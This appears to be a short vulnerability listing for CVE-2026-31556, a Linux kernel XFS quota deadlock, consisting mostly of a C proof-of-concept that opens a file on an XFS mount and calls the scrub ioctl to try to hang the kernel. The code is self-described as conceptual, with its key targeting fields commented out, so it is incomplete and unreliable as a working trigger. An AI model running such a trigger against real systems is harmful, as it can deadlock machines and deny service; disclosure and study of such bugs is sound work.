CVE-2026-31556 Linux内核XFS配额死锁漏洞

/* * PoC for CVE-2026-31556 * This is a conceptual trigger. Exploiting this requires a mounted XFS filesystem * and invoking the scrub ioctl which leads to the buggy code path. * Successful execution will likely cause a kernel hang/deadlock. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Define XFS scrub ioctl structures (simplified for illustration) #define XFS_IOC_SCRUB_METADATA _IOWR('X', 152, struct xfs_scrub_metadata) struct xfs_scrub_metadata { __u32 sm_type; __u32 sm_flags; __u64 sm_ino; __u32 sm_gen; __u32 sm_agno; __u64 sm_number; __u64 sm_reserved[2]; }; int main() { int fd; struct xfs_scrub_metadata scrub = {0}; // Open a file on the XFS filesystem fd = open("/mnt/xfs/testfile", O_RDWR); if (fd < 0) { perror("open"); return 1; } // Set up the scrub structure to target quota items // Specific type values depend on kernel headers (e.g., XFS_SCRUB_TYPE_QUOTA) // scrub.sm_type = XFS_SCRUB_TYPE_QUOTA; // scrub.sm_number = ...; // Target a specific dquot that might trigger the error path // Invoke the ioctl // Note: Triggering the specific error condition inside xchk_quota_item // might require specific filesystem state or corrupted metadata. if (ioctl(fd, XFS_IOC_SCRUB_METADATA, &scrub) < 0) { perror("ioctl"); close(fd); return 1; } printf("Scrub completed. If vulnerable, system might hang before this point.\n"); close(fd); return 0; }